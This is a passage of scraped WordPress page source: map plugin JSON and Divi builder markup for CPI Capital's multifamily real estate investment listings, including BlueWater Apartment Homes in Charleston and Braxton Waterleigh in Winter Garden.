States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_3 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_5\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_17  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_0_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_0 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" 